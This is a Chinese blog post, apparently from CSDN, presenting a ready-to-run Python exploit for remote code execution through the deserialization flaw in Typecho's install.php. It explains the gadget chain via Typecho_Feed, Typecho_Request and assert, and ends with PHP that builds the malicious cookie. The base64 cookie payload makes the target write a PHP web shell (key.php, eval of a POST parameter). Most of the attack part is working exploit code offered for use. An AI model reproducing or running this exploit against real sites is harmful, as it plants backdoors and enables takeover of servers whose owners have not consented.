install.php 运行,Typecho Install.php 任意代码执行

payload

#coding=UTF-8

import requests

import optparse

def exp(request_url):

url = request_url+"/install.php?finish=1"

headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate, compress',

'Accept-Language': 'en-us;q=0.5,en;q=0.3',

'Cache-Control': 'max-age=0',

'Referer':request_url+'/install.php',

'Connection': 'close',

'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdrZXkucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtwYXNzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==',

#'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo0OiJldmFsIjt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=',

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0'}

s = requests.Session()

s.headers.update(headers)

z = s.get(url=url)

print z.content

parser = optparse.OptionParser("usage%prog" + "-u ")

parser.add_option('-u', dest = 'tgturl', type = 'string', help = "please scand url.")

(options,args) = parser.parse_args()

tgturl = options.tgturl

exp(tgturl)

原理

这是一个PHP序列化的漏洞

原因出在网站根目录下install.php里

......

......

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

Typecho_Cookie::delete('__typecho_config');

$db = new Typecho_Db($config['adapter'], $config['prefix']);

$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

Typecho_Db::set($db);

?>

这里可以看出,只要存在finish,并且__typecode_config的cookie存在,就可以对base64加密过的cookie进行序列化。

下面又把config里的adapter和prefix使用Typecho_Db进行实例化,并且调用了addServer的方法,下面,我们进入Typecho_Db瞄一瞄:

当然序列化后的对象,我们无法直接调用方法,所以,我们必须找一些能特殊调用的方法,比如构造函数,析构函数之类的,

这里,我们在Db.php中对象的构造函数下发现了:

public function __construct($adapterName, $prefix = 'typecho_')

{

/** 获取适配器名称 */

$this->_adapterName = $adapterName;

/** 数据库适配器 */

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {

throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");

}

$this->_prefix = $prefix;

/** 初始化内部变量 */

$this->_pool = array();

$this->_connectedPool = array();

$this->_config = array();

//实例化适配器对象

$this->_adapter = new $adapterName();

}

这里存在一个$adapterName字符串进行了拼接,所以就能触发__string()方法

我们可以全局搜素__toString()方法,观察有没有我们需要的:

a77af05294b4

我们发现了这里存在问题:

public function __toString()

{

$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

if (self::RSS1 == $this->_type) {

......

} else if (self::ATOM1 == $this->_type) {

......

foreach ($this->_items as $item) {

......

' . $item['author']->screenName . '

' . $item['author']->url . '

到这里,我们知道item['author']中screenName的键值如果不可访问,就会触发__get()函数

我们再去寻找get函数:

a77af05294b4

我们寻找到一个request的对象:

public function __get($key)

{

return $this->get($key);

}

public function get($key, $default = NULL)

{

switch (true) {

case isset($this->_params[$key]):

$value = $this->_params[$key];

break;

case isset(self::$_httpParams[$key]):

$value = self::$_httpParams[$key];

break;

default:

$value = $default;

break;

}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;

return $this->_applyFilter($value);

}

这里对_params属性进行赋值,把结果传入value,最后返回_applyFilter($value),我们跟到这个函数里看看:

private function _applyFilter($value)

{

if ($this->_filter) {

foreach ($this->_filter as $filter) {

$value = is_array($value) ? array_map($filter, $value) :

call_user_func($filter, $value);

}

$this->_filter = array();

}

return $value;

}

这里就比较的清晰明了了,array_map()可以把数组中的每个值发送到用户自定义函数,返回新的值。call_user_func 可以把第一个参数作为回调函数调用,也就是说,都可以命令执行,由于我们第二个参数是数组,所以,我们不能使用eval,那我们就使用assert来实现命令执行,最后,构造整个的序列化:

class Typecho_Feed{

private $_type = 'ATOM 1.0';

private $_items = array();

public function addItem(array $item){

$this->_items[] = $item;

}

}

class Typecho_Request{

private $_params = array('screenName'=>'file_put_contents(\'key.php\', \'<?php @eval($_POST[pass]);?>\')');

private $_filter = array('assert');

}

$zz = new Typecho_Feed();

$hh = new Typecho_Request();

$zz->addItem(array('author' => $hh));

$exp = array('adapter' => $payload1, 'prefix' => 'typecho');

echo base64_encode(serialize($exp));

?>

最后,得到的就是结果了。

实现一下:

a77af05294b4

a77af05294b4

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值